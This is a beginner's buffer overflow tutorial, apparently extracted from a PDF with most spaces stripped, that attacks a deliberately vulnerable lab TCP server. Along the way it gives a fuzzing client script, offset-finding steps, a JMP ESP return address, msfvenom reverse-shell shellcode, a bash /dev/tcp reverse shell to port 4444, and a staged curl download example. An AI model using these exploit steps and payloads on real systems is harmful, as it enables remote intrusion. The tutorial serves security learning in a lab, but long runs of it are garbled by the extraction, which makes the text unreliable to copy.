The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
